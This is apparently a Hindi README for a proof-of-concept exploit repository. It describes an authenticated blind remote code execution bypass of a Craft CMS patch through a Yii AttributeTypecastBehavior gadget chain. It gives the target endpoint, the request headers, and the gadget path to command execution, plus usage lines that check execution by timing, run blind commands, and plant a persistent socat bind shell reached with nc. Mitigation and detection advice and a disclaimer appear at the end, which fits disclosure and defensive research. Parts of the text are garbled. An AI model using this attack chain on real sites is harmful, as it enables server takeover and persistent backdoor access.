Craft CMS में प्रमाणित, **ब्लाइंड** रिमोट कोड एक्ज़ीक्यूशन। CVE-2026-28695 के लिए फिक्स
element-search)CVSS 3.x : 8.8 HIGH (लगभग — सत्यापित करें)
CWE : CWE-502 (असुरक्षित ऑब्जेक्ट इंस्टैंशिएशन) + CWE-1336 (SSTI मूल)
आधार : CVE-2026-28695 (create() + Symfony Process के माध्यम से SSTI)
फिक्स : सलाहकार फिक्स e31e508 (create() को BaseObject तक सीमित करता है) — यहाँ बायपास किया गया
प्रभावित: Craft CMS ≤ 5.9.8 जिसमें CVE-2026-28695 फिक्स लागू है
Craft CMS में प्रमाणित, ब्लाइंड रिमोट कोड एक्ज़ीक्यूशन। CVE-2026-28695 का आधिकारिक फिक्स
केवल create() को yii\base\BaseObject सबक्लास तक सीमित करता है।
yii\behaviors\AttributeTypecastBehavior गैजेट एक BaseObject है, फिर भी यह
call_user_func() सिंक तक पहुँचता है, इसलिए यह फ़िल्टर से बच जाता है। गैर-Twig
admin/actions/element-search/search एक्शन के माध्यम से डिलीवर किया जाता है, यह
CRAFT_ENABLE_TWIG_SANDBOX को भी बायपास कर देता है।
एक Content Editor खाता पर्याप्त है।
Craft का element-search कंट्रोलर हमलावर JSON को Yii के Craft::createObject() / Instance
मशीनरी के माध्यम से लाइव PHP ऑब्जेक्ट में डीसेरियलाइज़ करता है। एक AttributeTypecastBehavior
संलग्न करके जिसका attributeTypes एक एट्रिब्यूट को कॉल करने योग्य
[Psy\Readline\Hoa\ConsoleProcessus, execute] पर मैप करता है और beforeSave इवेंट को
फायर करके, टाइपकास्ट बन जाता है:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
एंडपॉइंट हमेशा HTTP 500 का जवाब देता है और कोई कमांड आउटपुट नहीं लौटाता — निष्पादन ब्लाइंड है।
create() + Symfony Process के माध्यम से SSTI, जो एक Twig सिंक
(आमतौर पर Entry Types → Title Format) से पहुँचा जाता है।e31e508 create() को BaseObject सबक्लास तक सीमित करता है, और
लक्ष्य CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) और
CRAFT_ENABLE_TWIG_SANDBOX=true के साथ भी चलता है। प्रलेखित वेक्टर तिहरा-बंद है।yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
निर्माण द्वारा दोहरा बायपास:
element-search एक PHP ऑब्जेक्ट पथ है, नहीं एक Twig रेंडर।
CRAFT_ENABLE_TWIG_SANDBOX केवल टेम्पलेट इंजन को गेट करता है, इसलिए यह कभी लागू नहीं होता।create() को BaseObject तक सीमित करता है। AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, इसलिए यह नई बाधा को संतुष्ट करता है
जबकि अभी भी एक निष्पादन सिंक प्रदान करता है। फिक्स क्लासों के एक परिवार को बंद करता है, न कि
BaseObject क्लास को।एंडपॉइंट:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() कमांड को escapeshellcmd() के माध्यम से चलाता है:
| && ; > < $() ' " → कोई चेनिंग नहीं, कोई पाइप नहीं, कोई रीडायरेक्शन नहीं, कोई
क्लासिक bash रिवर्स शेल नहीं।: , /यही कारण है कि पेलोड एक एकल socat TCP-LISTEN,fork EXEC बाइंड शेल है (आर्ग्युमेंट
: / , / / में) न कि रिवर्स शेल।
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| स्थिति | संस्करण |
|---|---|
| भेद्य | Craft CMS ≤ 5.9.8 CVE-2026-28695 फिक्स के साथ |
| नोट | गैजेट को एक प्रमाणित CP सत्र की आवश्यकता है |
| फ़ाइल | भूमिका |
|---|---|
exploit.py | PoC: लॉगिन → टाइमिंग-ओरेकल जाँच → एकल cmd → बाइंड शेल |
README.md | यह फ़ाइल |
requests की आवश्यकता है (pip install requests)।
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
क्या होता है:
AttributeTypecastBehavior गैजेट को element-search पर भेजें।--check इंजेक्टेड लेटेंसी द्वारा ब्लाइंड एक्ज़ीक्यूशन साबित करता है; --bind एक socat लिसनर छोड़ता है।create() नहीं), और element-search कंडीशन हैंडलिंग का
ऑडिट करें।CRAFT_ALLOW_ADMIN_CHANGES=false रखें और Content Editor विशेषाधिकारों को न्यूनतम करें — यहाँ
प्रमाणीकरण ही एकमात्र पूर्व शर्त है।psy/psysh (Hoa) निर्भरता को हटाएँ/अपग्रेड करें जहाँ ConsoleProcessus::execute
गैजेट पहुँच योग्य हो।element-search/search बॉडीज़ पर अलर्ट करें जिनमें __class, as rce, या
AttributeTypecastBehavior हो; उस एक्शन से HTTP 500 के बर्स्ट को फ्लैग करें।e31e508 (create() → BaseObject प्रतिबंध)AttributeTypecastBehavior / yii\base\Security दस्तावेज़यह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण, शिक्षा, और रक्षात्मक अनुसंधान के लिए है। लागू कानूनों और अपनी प्रयोगशाला या क्लाइंट के एंगेजमेंट नियमों का पालन करने की ज़िम्मेदारी आपकी है।